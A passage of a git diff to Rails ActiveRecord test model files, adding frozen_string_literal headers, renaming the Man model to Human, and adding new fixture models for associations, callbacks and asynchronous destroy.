--- /dev/null
+++ b/activerecord/test/models/dl_keyed_belongs_to_soft_delete.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+require "models/destroy_async_parent_soft_delete"
+
+class DlKeyedBelongsToSoftDelete < ActiveRecord::Base
+  belongs_to :destroy_async_parent_soft_delete,
+    dependent: :destroy_async,
+    ensuring_owner_was: :deleted?,
+    class_name: "DestroyAsyncParentSoftDelete"
+
+  def deleted?
+    deleted
+  end
+
+  def destroy
+    update(deleted: true)
+    run_callbacks(:destroy)
+  end
+end
diff --git a/activerecord/test/models/dl_keyed_has_many.rb b/activerecord/test/models/dl_keyed_has_many.rb
new file mode 100644
index 0000000000000..9346bd4216835
--- /dev/null
+++ b/activerecord/test/models/dl_keyed_has_many.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class DlKeyedHasMany < ActiveRecord::Base
+  self.primary_key = "many_key"
+end
diff --git a/activerecord/test/models/dl_keyed_has_many_through.rb b/activerecord/test/models/dl_keyed_has_many_through.rb
new file mode 100644
index 0000000000000..c69929619157f
--- /dev/null
+++ b/activerecord/test/models/dl_keyed_has_many_through.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class DlKeyedHasManyThrough < ActiveRecord::Base
+  self.primary_key = :through_key
+end
diff --git a/activerecord/test/models/dl_keyed_has_one.rb b/activerecord/test/models/dl_keyed_has_one.rb
new file mode 100644
index 0000000000000..68ab3bf5f33fe
--- /dev/null
+++ b/activerecord/test/models/dl_keyed_has_one.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class DlKeyedHasOne < ActiveRecord::Base
+  self.primary_key = "has_one_key"
+end
diff --git a/activerecord/test/models/dl_keyed_join.rb b/activerecord/test/models/dl_keyed_join.rb
new file mode 100644
index 0000000000000..aae4528332c53
--- /dev/null
+++ b/activerecord/test/models/dl_keyed_join.rb
@@ -0,0 +1,10 @@
+ # frozen_string_literal: true
+
+ class DlKeyedJoin < ActiveRecord::Base
+   self.primary_key = "joins_key"
+
+   belongs_to :destroy_async_parent,
+     primary_key: :parent_id
+   belongs_to :dl_keyed_has_many_through,
+     primary_key: :through_key
+ end
diff --git a/activerecord/test/models/dog.rb b/activerecord/test/models/dog.rb
index b02b8447b83d8..75d284ac2511b 100644
--- a/activerecord/test/models/dog.rb
+++ b/activerecord/test/models/dog.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Dog < ActiveRecord::Base
   belongs_to :breeder, class_name: "DogLover", counter_cache: :bred_dogs_count
   belongs_to :trainer, class_name: "DogLover", counter_cache: :trained_dogs_count
diff --git a/activerecord/test/models/dog_lover.rb b/activerecord/test/models/dog_lover.rb
index 2c5be94aea44b..aabe914f77daa 100644
--- a/activerecord/test/models/dog_lover.rb
+++ b/activerecord/test/models/dog_lover.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class DogLover < ActiveRecord::Base
   has_many :trained_dogs, class_name: "Dog", foreign_key: :trainer_id, dependent: :destroy
   has_many :bred_dogs, class_name: "Dog", foreign_key: :breeder_id
diff --git a/activerecord/test/models/doubloon.rb b/activerecord/test/models/doubloon.rb
index 72725046660b1..febadc3a5a3b1 100644
--- a/activerecord/test/models/doubloon.rb
+++ b/activerecord/test/models/doubloon.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class AbstractDoubloon < ActiveRecord::Base
   # This has functionality that might be shared by multiple classes.
 
diff --git a/activerecord/test/models/drink_designer.rb b/activerecord/test/models/drink_designer.rb
index 2db968ef11612..8f41106f781b0 100644
--- a/activerecord/test/models/drink_designer.rb
+++ b/activerecord/test/models/drink_designer.rb
@@ -1,3 +1,21 @@
+# frozen_string_literal: true
+
 class DrinkDesigner < ActiveRecord::Base
   has_one :chef, as: :employable
+  accepts_nested_attributes_for :chef
+end
+
+class DrinkDesignerWithPolymorphicDependentNullifyChef < ActiveRecord::Base
+  self.table_name = "drink_designers"
+
+  has_one :chef, as: :employable, dependent: :nullify
+end
+
+class DrinkDesignerWithPolymorphicTouchChef < ActiveRecord::Base
+  self.table_name = "drink_designers"
+
+  has_one :chef, as: :employable, touch: true
+end
+
+class MocktailDesigner < DrinkDesigner
 end
diff --git a/activerecord/test/models/edge.rb b/activerecord/test/models/edge.rb
index e61d25c9bc18a..a04ab103def02 100644
--- a/activerecord/test/models/edge.rb
+++ b/activerecord/test/models/edge.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 # This class models an edge in a directed graph.
 class Edge < ActiveRecord::Base
   belongs_to :source, class_name: "Vertex", foreign_key: "source_id"
diff --git a/activerecord/test/models/editor.rb b/activerecord/test/models/editor.rb
new file mode 100644
index 0000000000000..d75f8ebea763b
--- /dev/null
+++ b/activerecord/test/models/editor.rb
@@ -0,0 +1,8 @@
+# frozen_string_literal: true
+
+class Editor < ActiveRecord::Base
+  self.primary_key = "name"
+
+  has_one :publication, foreign_key: :editor_in_chief_id, inverse_of: :editor_in_chief
+  has_many :editorships
+end
diff --git a/activerecord/test/models/editorship.rb b/activerecord/test/models/editorship.rb
new file mode 100644
index 0000000000000..2620cf5b97a5a
--- /dev/null
+++ b/activerecord/test/models/editorship.rb
@@ -0,0 +1,6 @@
+# frozen_string_literal: true
+
+class Editorship < ActiveRecord::Base
+  belongs_to :publication
+  belongs_to :editor
+end
diff --git a/activerecord/test/models/electron.rb b/activerecord/test/models/electron.rb
index 6fc270673f49c..902006b314f23 100644
--- a/activerecord/test/models/electron.rb
+++ b/activerecord/test/models/electron.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Electron < ActiveRecord::Base
   belongs_to :molecule
 
diff --git a/activerecord/test/models/engine.rb b/activerecord/test/models/engine.rb
index eada171f6a6aa..396a52b3b9852 100644
--- a/activerecord/test/models/engine.rb
+++ b/activerecord/test/models/engine.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Engine < ActiveRecord::Base
   belongs_to :my_car, class_name: "Car", foreign_key: "car_id",  counter_cache: :engines_count
 end
diff --git a/activerecord/test/models/enrollment.rb b/activerecord/test/models/enrollment.rb
new file mode 100644
index 0000000000000..38458ea2b840c
--- /dev/null
+++ b/activerecord/test/models/enrollment.rb
@@ -0,0 +1,6 @@
+# frozen_string_literal: true
+
+class Enrollment < ActiveRecord::Base
+  belongs_to :program
+  belongs_to :member, class_name: "SimpleMember"
+end
diff --git a/activerecord/test/models/entrant.rb b/activerecord/test/models/entrant.rb
index 4682ce48c8510..2c086e451f9e0 100644
--- a/activerecord/test/models/entrant.rb
+++ b/activerecord/test/models/entrant.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Entrant < ActiveRecord::Base
   belongs_to :course
 end
diff --git a/activerecord/test/models/entry.rb b/activerecord/test/models/entry.rb
new file mode 100644
index 0000000000000..c5ca4bcc14892
--- /dev/null
+++ b/activerecord/test/models/entry.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+class Entry < ActiveRecord::Base
+  delegated_type :entryable, types: %w[ Message Comment ]
+  belongs_to :account, touch: true
+
+  # alternate delegation for custom foreign_key/foreign_type
+  delegated_type :thing, types: %w[ Post ],
+    foreign_key: :entryable_id, foreign_type: :entryable_type
+end
diff --git a/activerecord/test/models/essay.rb b/activerecord/test/models/essay.rb
index 13267fbc215c0..eb2fb51f1f16c 100644
--- a/activerecord/test/models/essay.rb
+++ b/activerecord/test/models/essay.rb
@@ -1,5 +1,13 @@
+# frozen_string_literal: true
+
 class Essay < ActiveRecord::Base
+  belongs_to :author, primary_key: :name
   belongs_to :writer, primary_key: :name, polymorphic: true
   belongs_to :category, primary_key: :name
   has_one :owner, primary_key: :name
 end
+
+class EssaySpecial < Essay
+end
+class TypedEssay < Essay
+end
diff --git a/activerecord/test/models/essay_destroy_async.rb b/activerecord/test/models/essay_destroy_async.rb
new file mode 100644
index 0000000000000..475dd0fea3314
--- /dev/null
+++ b/activerecord/test/models/essay_destroy_async.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+class EssayDestroyAsync < ActiveRecord::Base
+  self.table_name = "essays"
+  belongs_to :book, dependent: :destroy_async, class_name: "BookDestroyAsync"
+  belongs_to :writer, polymorphic: true, dependent: :destroy_async
+end
+
+class LongEssayDestroyAsync < EssayDestroyAsync
+end
+
+class ShortEssayDestroyAsync < EssayDestroyAsync
+end
diff --git a/activerecord/test/models/event.rb b/activerecord/test/models/event.rb
index 365ab32b0b89e..a7cdc39e5cb75 100644
--- a/activerecord/test/models/event.rb
+++ b/activerecord/test/models/event.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Event < ActiveRecord::Base
   validates_uniqueness_of :title
 end
diff --git a/activerecord/test/models/eye.rb b/activerecord/test/models/eye.rb
index f53c34e4b1015..8e22c292154dc 100644
--- a/activerecord/test/models/eye.rb
+++ b/activerecord/test/models/eye.rb
@@ -1,37 +1,105 @@
+# frozen_string_literal: true
+
 class Eye < ActiveRecord::Base
   attr_reader :after_create_callbacks_stack
   attr_reader :after_update_callbacks_stack
   attr_reader :after_save_callbacks_stack
+  attr_writer :override_iris_with_read_only_foreign_key_color
 
   # Callbacks configured before the ones has_one sets up.
-  after_create :trace_after_create
-  after_update :trace_after_update
-  after_save   :trace_after_save
+  after_create :trace_after_create, if: :iris
+  after_update :trace_after_update, if: :iris
+  after_save   :trace_after_save, if: :iris
 
   has_one :iris
   accepts_nested_attributes_for :iris
 
   # Callbacks configured after the ones has_one sets up.
-  after_create :trace_after_create2
-  after_update :trace_after_update2
-  after_save   :trace_after_save2
-
-  def trace_after_create
-    (@after_create_callbacks_stack ||= []) << !iris.persisted?
-  end
-  alias trace_after_create2 trace_after_create
-
-  def trace_after_update
-    (@after_update_callbacks_stack ||= []) << iris.has_changes_to_save?
-  end
-  alias trace_after_update2 trace_after_update
-
-  def trace_after_save
-    (@after_save_callbacks_stack ||= []) << iris.has_changes_to_save?
-  end
-  alias trace_after_save2 trace_after_save
+  after_create :trace_after_create2, if: :iris
+  after_update :trace_after_update2, if: :iris
+  after_save   :trace_after_save2, if: :iris
+
+  private
+    def trace_after_create
+      (@after_create_callbacks_stack ||= []) << !iris.persisted?
+    end
+    alias trace_after_create2 trace_after_create
+
+    def trace_after_update
+      (@after_update_callbacks_stack ||= []) << iris.has_changes_to_save?
+    end
+    alias trace_after_update2 trace_after_update
+
+    def trace_after_save
+      (@after_save_callbacks_stack ||= []) << iris.has_changes_to_save?
+    end
+    alias trace_after_save2 trace_after_save
+
+  public
+    has_one :iris_with_read_only_foreign_key, class_name: "IrisWithReadOnlyForeignKey", foreign_key: :eye_id
+    accepts_nested_attributes_for :iris_with_read_only_foreign_key
+
+    before_save :set_iris_with_read_only_foreign_key_color_to_blue, if: -> {
+      iris_with_read_only_foreign_key && @override_iris_with_read_only_foreign_key_color
+    }
+
+  private
+    def set_iris_with_read_only_foreign_key_color_to_blue
+      iris_with_read_only_foreign_key.color = "blue"
+    end
 end
 
 class Iris < ActiveRecord::Base
+  attr_reader :before_validation_callbacks_counter
+  attr_reader :before_create_callbacks_counter
+  attr_reader :before_save_callbacks_counter
+
+  attr_reader :after_validation_callbacks_counter
+  attr_reader :after_create_callbacks_counter
+  attr_reader :after_save_callbacks_counter
+
   belongs_to :eye
+
+  before_validation :update_before_validation_counter
+  before_create :update_before_create_counter
+  before_save :update_before_save_counter
+
+  after_validation :update_after_validation_counter
+  after_create :update_after_create_counter
+  after_save :update_after_save_counter
+
+  private
+    def update_before_validation_counter
+      @before_validation_callbacks_counter ||= 0
+      @before_validation_callbacks_counter += 1
+    end
+
+    def update_before_create_counter
+      @before_create_callbacks_counter ||= 0
+      @before_create_callbacks_counter += 1
+    end
+
+    def update_before_save_counter
+      @before_save_callbacks_counter ||= 0
+      @before_save_callbacks_counter += 1
+    end
+
+    def update_after_validation_counter
+      @after_validation_callbacks_counter ||= 0
+      @after_validation_callbacks_counter += 1
+    end
+
+    def update_after_create_counter
+      @after_create_callbacks_counter ||= 0
+      @after_create_callbacks_counter += 1
+    end
+
+    def update_after_save_counter
+      @after_save_callbacks_counter ||= 0
+      @after_save_callbacks_counter += 1
+    end
+end
+
+class IrisWithReadOnlyForeignKey < Iris
+  attr_readonly :eye_id
 end
diff --git a/activerecord/test/models/face.rb b/activerecord/test/models/face.rb
index 5913bfa969d3a..1811dc8494a98 100644
--- a/activerecord/test/models/face.rb
+++ b/activerecord/test/models/face.rb
@@ -1,9 +1,17 @@
+# frozen_string_literal: true
+
 class Face < ActiveRecord::Base
-  belongs_to :man, inverse_of: :face
-  belongs_to :polymorphic_man, polymorphic: true, inverse_of: :polymorphic_face
+  belongs_to :human, inverse_of: :face
+  belongs_to :autosave_human, class_name: "Human", foreign_key: :human_id, inverse_of: :autosave_face
+  belongs_to :super_human, polymorphic: true
+  belongs_to :polymorphic_human, polymorphic: true, inverse_of: :polymorphic_face
   # Oracle identifier length is limited to 30 bytes or less, `polymorphic` renamed `poly`
-  belongs_to :poly_man_without_inverse, polymorphic: true
-  # These is a "broken" inverse_of for the purposes of testing
-  belongs_to :horrible_man, class_name: "Man", inverse_of: :horrible_face
-  belongs_to :horrible_polymorphic_man, polymorphic: true, inverse_of: :horrible_polymorphic_face
+  belongs_to :poly_human_without_inverse, polymorphic: true
+  # These are "broken" inverse_of associations for the purposes of testing
+  belongs_to :confused_human, class_name: "Human", inverse_of: :cnffused_face
+  belongs_to :puzzled_polymorphic_human, polymorphic: true, inverse_of: :puzzled_polymorphic_face
+
+  validate do
+    human
+  end
 end
diff --git a/activerecord/test/models/family.rb b/activerecord/test/models/family.rb
index 5ae5a78c95528..0713dba1a6ec0 100644
--- a/activerecord/test/models/family.rb
+++ b/activerecord/test/models/family.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Family < ActiveRecord::Base
   has_many :family_trees, -> { where(token: nil) }
   has_many :members, through: :family_trees
diff --git a/activerecord/test/models/family_tree.rb b/activerecord/test/models/family_tree.rb
index cd9829fedddc7..a8ea907c05bce 100644
--- a/activerecord/test/models/family_tree.rb
+++ b/activerecord/test/models/family_tree.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class FamilyTree < ActiveRecord::Base
   belongs_to :member, class_name: "User", foreign_key: "member_id"
   belongs_to :family
diff --git a/activerecord/test/models/friendship.rb b/activerecord/test/models/friendship.rb
index 578382b494b1d..d1e49d544bf1b 100644
--- a/activerecord/test/models/friendship.rb
+++ b/activerecord/test/models/friendship.rb
@@ -1,6 +1,11 @@
+# frozen_string_literal: true
+
 class Friendship < ActiveRecord::Base
   belongs_to :friend, class_name: "Person"
   # friend_too exists to test a bug, and probably shouldn't be used elsewhere
   belongs_to :friend_too, foreign_key: "friend_id", class_name: "Person", counter_cache: :friends_too_count
   belongs_to :follower, class_name: "Person"
+
+  has_one :friend_favorite_reference_job, through: :friend, source: :favorite_reference_job
+  has_one :follower_favorite_reference_job, through: :follower, source: :favorite_reference_job
 end
diff --git a/activerecord/test/models/frog.rb b/activerecord/test/models/frog.rb
new file mode 100644
index 0000000000000..73601aacdd9cb
--- /dev/null
+++ b/activerecord/test/models/frog.rb
@@ -0,0 +1,8 @@
+# frozen_string_literal: true
+
+class Frog < ActiveRecord::Base
+  after_save do
+    with_lock do
+    end
+  end
+end
diff --git a/activerecord/test/models/guid.rb b/activerecord/test/models/guid.rb
index 05653ba498b9c..ec71c37690ae7 100644
--- a/activerecord/test/models/guid.rb
+++ b/activerecord/test/models/guid.rb
@@ -1,2 +1,4 @@
+# frozen_string_literal: true
+
 class Guid < ActiveRecord::Base
 end
diff --git a/activerecord/test/models/guitar.rb b/activerecord/test/models/guitar.rb
index cd068ff53da3d..649b99866532c 100644
--- a/activerecord/test/models/guitar.rb
+++ b/activerecord/test/models/guitar.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Guitar < ActiveRecord::Base
   has_many :tuning_pegs, index_errors: true
   accepts_nested_attributes_for :tuning_pegs
diff --git a/activerecord/test/models/hardback.rb b/activerecord/test/models/hardback.rb
new file mode 100644
index 0000000000000..76e4d07deb0d5
--- /dev/null
+++ b/activerecord/test/models/hardback.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+class Hardback < ActiveRecord::Base
+end
+
+class BestHardback < Hardback
+end
diff --git a/activerecord/test/models/hotel.rb b/activerecord/test/models/hotel.rb
index 7bc717c89155b..3b224befa6eca 100644
--- a/activerecord/test/models/hotel.rb
+++ b/activerecord/test/models/hotel.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Hotel < ActiveRecord::Base
   has_many :departments
   has_many :chefs, through: :departments
@@ -8,4 +10,6 @@ class Hotel < ActiveRecord::Base
   has_many :mocktail_designers, through: :chef_lists, source: :employable, source_type: "MocktailDesigner"
 
   has_many :recipes, through: :chefs
+
+  has_many :lost_items, through: :departments
 end
diff --git a/activerecord/test/models/human.rb b/activerecord/test/models/human.rb
new file mode 100644
index 0000000000000..fa1a04d2aa39c
--- /dev/null
+++ b/activerecord/test/models/human.rb
@@ -0,0 +1,39 @@
+# frozen_string_literal: true
+
+class Human < ActiveRecord::Base
+  self.table_name = "humans"
+
+  has_one :face, inverse_of: :human
+  has_one :autosave_face, class_name: "Face", autosave: true, inverse_of: :autosave_human
+  has_one :polymorphic_face, class_name: "Face", as: :polymorphic_human, inverse_of: :polymorphic_human
+  has_one :polymorphic_face_without_inverse, class_name: "Face", as: :poly_human_without_inverse
+  has_many :interests, inverse_of: :human
+  has_many :interests_with_callbacks,
+    class_name: "Interest",
+    before_add: :add_called,
+    after_add: :add_called,
+    inverse_of: :human_with_callbacks
+  has_many :polymorphic_interests,
+    class_name: "Interest",
+    as: :polymorphic_human,
+    inverse_of: :polymorphic_human
+  has_many :polymorphic_interests_with_callbacks,
+    class_name: "Interest",
+    as: :polymorphic_human,
+    before_add: :add_called,
+    after_add: :add_called,
+    inverse_of: :polymorphic_human
+  # These are "broken" inverse_of associations for the purposes of testing
+  has_one :confused_face, class_name: "Face", inverse_of: :cnffused_human
+  has_many :secret_interests, class_name: "Interest", inverse_of: :secret_human
+  has_one :mixed_case_monkey
+
+  attribute :add_callback_called, :boolean, default: false
+
+  def add_called(_interest)
+    self.add_callback_called = true
+  end
+end
+
+class SuperHuman < Human
+end
diff --git a/activerecord/test/models/image.rb b/activerecord/test/models/image.rb
index 7ae8e4a7f6ab8..71bbcacd3a1bc 100644
--- a/activerecord/test/models/image.rb
+++ b/activerecord/test/models/image.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Image < ActiveRecord::Base
-  belongs_to :imageable, foreign_key: :imageable_identifier, foreign_type: :imageable_class
+  belongs_to :imageable, polymorphic: true, foreign_key: :imageable_identifier, foreign_type: :imageable_class
 end
diff --git a/activerecord/test/models/interest.rb b/activerecord/test/models/interest.rb
index ec79416ee7f84..0c0cef190f256 100644
--- a/activerecord/test/models/interest.rb
+++ b/activerecord/test/models/interest.rb
@@ -1,5 +1,16 @@
+# frozen_string_literal: true
+
 class Interest < ActiveRecord::Base
-  belongs_to :man, inverse_of: :interests
-  belongs_to :polymorphic_man, polymorphic: true, inverse_of: :polymorphic_interests
+  belongs_to :human, inverse_of: :interests
+  belongs_to :human_with_callbacks,
+    class_name: "Human",
+    foreign_key: :human_id,
+    inverse_of: :interests_with_callbacks
+  belongs_to :polymorphic_human, polymorphic: true, inverse_of: :polymorphic_interests
+  belongs_to :polymorphic_human_with_callbacks,
+    foreign_key: :polymorphic_human_id,
+    foreign_type: :polymorphic_human_type,
+    polymorphic: true,
+    inverse_of: :polymorphic_interests_with_callbacks
   belongs_to :zine, inverse_of: :interests
 end
diff --git a/activerecord/test/models/invoice.rb b/activerecord/test/models/invoice.rb
index 4be5a001934e1..2901078cec6ac 100644
--- a/activerecord/test/models/invoice.rb
+++ b/activerecord/test/models/invoice.rb
@@ -1,4 +1,7 @@
+# frozen_string_literal: true
+
 class Invoice < ActiveRecord::Base
   has_many :line_items, autosave: true
-  before_save { |record| record.balance = record.line_items.map(&:amount).sum }
+  has_many :shipping_lines, -> { from("shipping_lines") }, autosave: true
+  before_save { |record| record.balance = record.line_items.map(&:amount).compact.sum }
 end
diff --git a/activerecord/test/models/invokes_an_undefined_method.rb b/activerecord/test/models/invokes_an_undefined_method.rb
new file mode 100644
index 0000000000000..fe3bfabe69737
--- /dev/null
+++ b/activerecord/test/models/invokes_an_undefined_method.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class InvokesAnUndefinedMethod
+  this_method_is_undefined
+end
diff --git a/activerecord/test/models/item.rb b/activerecord/test/models/item.rb
index 336fb1769a5e5..8d079d56e6a0d 100644
--- a/activerecord/test/models/item.rb
+++ b/activerecord/test/models/item.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class AbstractItem < ActiveRecord::Base
   self.abstract_class = true
   has_one :tagging, as: :taggable
diff --git a/activerecord/test/models/job.rb b/activerecord/test/models/job.rb
index bbaef2792c957..52817a8435b5a 100644
--- a/activerecord/test/models/job.rb
+++ b/activerecord/test/models/job.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Job < ActiveRecord::Base
   has_many :references
   has_many :people, through: :references
diff --git a/activerecord/test/models/joke.rb b/activerecord/test/models/joke.rb
index eeb5818a1fb5d..436ffb6471cd8 100644
--- a/activerecord/test/models/joke.rb
+++ b/activerecord/test/models/joke.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Joke < ActiveRecord::Base
   self.table_name = "funny_jokes"
 end
diff --git a/activerecord/test/models/keyboard.rb b/activerecord/test/models/keyboard.rb
index bcede53ec98d4..d200e0fb56fc9 100644
--- a/activerecord/test/models/keyboard.rb
+++ b/activerecord/test/models/keyboard.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Keyboard < ActiveRecord::Base
   self.primary_key = "key_number"
 end
diff --git a/activerecord/test/models/legacy_thing.rb b/activerecord/test/models/legacy_thing.rb
index eead181a0e819..e0210c89229d9 100644
--- a/activerecord/test/models/legacy_thing.rb
+++ b/activerecord/test/models/legacy_thing.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class LegacyThing < ActiveRecord::Base
   self.locking_column = :version
 end
diff --git a/activerecord/test/models/lesson.rb b/activerecord/test/models/lesson.rb
index 4c88153068e35..e546339689865 100644
--- a/activerecord/test/models/lesson.rb
+++ b/activerecord/test/models/lesson.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class LessonError < Exception
 end
 
diff --git a/activerecord/test/models/line_item.rb b/activerecord/test/models/line_item.rb
index 93f7cceb13a77..2c9876dac134c 100644
--- a/activerecord/test/models/line_item.rb
+++ b/activerecord/test/models/line_item.rb
@@ -1,3 +1,11 @@
+# frozen_string_literal: true
+
 class LineItem < ActiveRecord::Base
   belongs_to :invoice, touch: true
+  has_many :discount_applications, class_name: "LineItemDiscountApplication"
+end
+
+class LineItemDiscountApplication < ActiveRecord::Base
+  belongs_to :line_item
+  belongs_to :discount
 end
diff --git a/activerecord/test/models/liquid.rb b/activerecord/test/models/liquid.rb
index 69d4d7df1a486..b2fd305d66aa0 100644
--- a/activerecord/test/models/liquid.rb
+++ b/activerecord/test/models/liquid.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Liquid < ActiveRecord::Base
   self.table_name = :liquid
   has_many :molecules, -> { distinct }
diff --git a/activerecord/test/models/man.rb b/activerecord/test/models/man.rb
deleted file mode 100644
index d2436a735c4b5..0000000000000
--- a/activerecord/test/models/man.rb
+++ /dev/null
@@ -1,11 +0,0 @@
-class Man < ActiveRecord::Base
-  has_one :face, inverse_of: :man
-  has_one :polymorphic_face, class_name: "Face", as: :polymorphic_man, inverse_of: :polymorphic_man
-  has_one :polymorphic_face_without_inverse, class_name: "Face", as: :poly_man_without_inverse
-  has_many :interests, inverse_of: :man
-  has_many :polymorphic_interests, class_name: "Interest", as: :polymorphic_man, inverse_of: :polymorphic_man
-  # These are "broken" inverse_of associations for the purposes of testing
-  has_one :dirty_face, class_name: "Face", inverse_of: :dirty_man
-  has_many :secret_interests, class_name: "Interest", inverse_of: :secret_man
-  has_one :mixed_case_monkey
-end
diff --git a/activerecord/test/models/matey.rb b/activerecord/test/models/matey.rb
index 80ee5f47c5ec4..a77ac21e96f9e 100644
--- a/activerecord/test/models/matey.rb
+++ b/activerecord/test/models/matey.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Matey < ActiveRecord::Base
   belongs_to :pirate
   belongs_to :target, class_name: "Pirate"
diff --git a/activerecord/test/models/measurement.rb b/activerecord/test/models/measurement.rb
new file mode 100644
index 0000000000000..91730bd077aef
--- /dev/null
+++ b/activerecord/test/models/measurement.rb
@@ -0,0 +1,4 @@
+# frozen_string_literal: true
+
+class Measurement < ActiveRecord::Base
+end
diff --git a/activerecord/test/models/member.rb b/activerecord/test/models/member.rb
index 36f2461b84f5e..37837c08f8fbe 100644
--- a/activerecord/test/models/member.rb
+++ b/activerecord/test/models/member.rb
@@ -1,15 +1,19 @@
+# frozen_string_literal: true
+
 class Member < ActiveRecord::Base
   has_one :current_membership
   has_one :selected_membership
   has_one :membership
   has_one :club, through: :current_membership
+  has_one :club_without_joins, through: :current_membership, source: :club, disable_joins: true
   has_one :selected_club, through: :selected_membership, source: :club
-  has_one :favourite_club, -> { where "memberships.favourite = ?", true }, through: :membership, source: :club
+  has_one :favorite_club, -> { where "memberships.favorite = ?", true }, through: :membership, source: :club
   has_one :hairy_club, -> { where clubs: { name: "Moustache and Eyebrow Fancier Club" } }, through: :membership, source: :club
   has_one :sponsor, as: :sponsorable
   has_one :sponsor_club, through: :sponsor
   has_one :member_detail, inverse_of: false
   has_one :organization, through: :member_detail
+  has_one :organization_without_joins, through: :member_detail, disable_joins: true, source: :organization
   belongs_to :member_type
 
   has_many :nested_member_types, through: :member_detail, source: :member_type
@@ -22,17 +26,29 @@ class Member < ActiveRecord::Base
   has_many :organization_member_details_2, through: :organization, source: :member_details
 
   has_one :club_category, through: :club, source: :category
+  has_one :general_club, -> { general }, through: :current_membership, source: :club
 
-  has_many :current_memberships, -> { where favourite: true }
-  has_many :clubs, through: :current_memberships
+  has_many :super_memberships
+  has_many :favorite_memberships, -> { where(favorite: true) }, class_name: "Membership"
+  has_many :clubs, through: :favorite_memberships
 
   has_many :tenant_memberships
   has_many :tenant_clubs, through: :tenant_memberships, class_name: "Club", source: :club
 
-  has_one :club_through_many, through: :current_memberships, source: :club
+  has_one :club_through_many, through: :favorite_memberships, source: :club
 
   belongs_to :admittable, polymorphic: true
   has_one :premium_club, through: :admittable
+
+  scope :unnamed, -> { where(name: nil)  }
+  scope :with_member_type_id, -> (id) { where(member_type_id: id) }
+end
+
+class SimpleMember < ActiveRecord::Base
+  self.table_name = "members"
+
+  has_many :memberships
+  has_many :clubs, through: :memberships
 end
 
 class SelfMember < ActiveRecord::Base
diff --git a/activerecord/test/models/member_detail.rb b/activerecord/test/models/member_detail.rb
index 157130986c865..e121a849d00da 100644
--- a/activerecord/test/models/member_detail.rb
+++ b/activerecord/test/models/member_detail.rb
@@ -1,8 +1,11 @@
+# frozen_string_literal: true
+
 class MemberDetail < ActiveRecord::Base
   belongs_to :member, inverse_of: false
   belongs_to :organization
   has_one :member_type, through: :member
   has_one :membership, through: :member
+  has_one :admittable, through: :member, source_type: "Member"
 
   has_many :organization_member_details, through: :organization, source: :member_details
 end
diff --git a/activerecord/test/models/member_type.rb b/activerecord/test/models/member_type.rb
index a13561c72ab04..b49b168d037b7 100644
--- a/activerecord/test/models/member_type.rb
+++ b/activerecord/test/models/member_type.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class MemberType < ActiveRecord::Base
   has_many :members
 end
diff --git a/activerecord/test/models/membership.rb b/activerecord/test/models/membership.rb
index 2c3ad230a73ac..b02a269efac0e 100644
--- a/activerecord/test/models/membership.rb
+++ b/activerecord/test/models/membership.rb
@@ -1,11 +1,17 @@
+# frozen_string_literal: true
+
 class Membership < ActiveRecord::Base
+  enum :type, %i(Membership CurrentMembership SuperMembership SelectedMembership TenantMembership)
   belongs_to :member
   belongs_to :club
+  has_one :sponsor, through: :club
+
+  belongs_to :simple_member, foreign_key: "member_id"
 end
 
 class CurrentMembership < Membership
   belongs_to :member
-  belongs_to :club
+  belongs_to :club, inverse_of: :membership
 end
 
 class SuperMembership < Membership
diff --git a/activerecord/test/models/mentor.rb b/activerecord/test/models/mentor.rb
index 66504b4e911f2..2fbb62c435a94 100644
--- a/activerecord/test/models/mentor.rb
+++ b/activerecord/test/models/mentor.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Mentor < ActiveRecord::Base
   has_many :developers
 end
diff --git a/activerecord/test/models/message.rb b/activerecord/test/models/message.rb
new file mode 100644
index 0000000000000..b8a6c315e2a01
--- /dev/null
+++ b/activerecord/test/models/message.rb
@@ -0,0 +1,6 @@
+# frozen_string_literal: true
+
+class Message < ActiveRecord::Base
+  has_one  :entry, as: :entryable, touch: true
+  has_many :recipients
+end
diff --git a/activerecord/test/models/minimalistic.rb b/activerecord/test/models/minimalistic.rb
index 2e3f8e081a674..c67b086853f7b 100644
--- a/activerecord/test/models/minimalistic.rb
+++ b/activerecord/test/models/minimalistic.rb
@@ -1,2 +1,4 @@
+# frozen_string_literal: true
+
 class Minimalistic < ActiveRecord::Base
 end
diff --git a/activerecord/test/models/minivan.rb b/activerecord/test/models/minivan.rb
index e9b05dadf2829..d9d331798a0da 100644
--- a/activerecord/test/models/minivan.rb
+++ b/activerecord/test/models/minivan.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
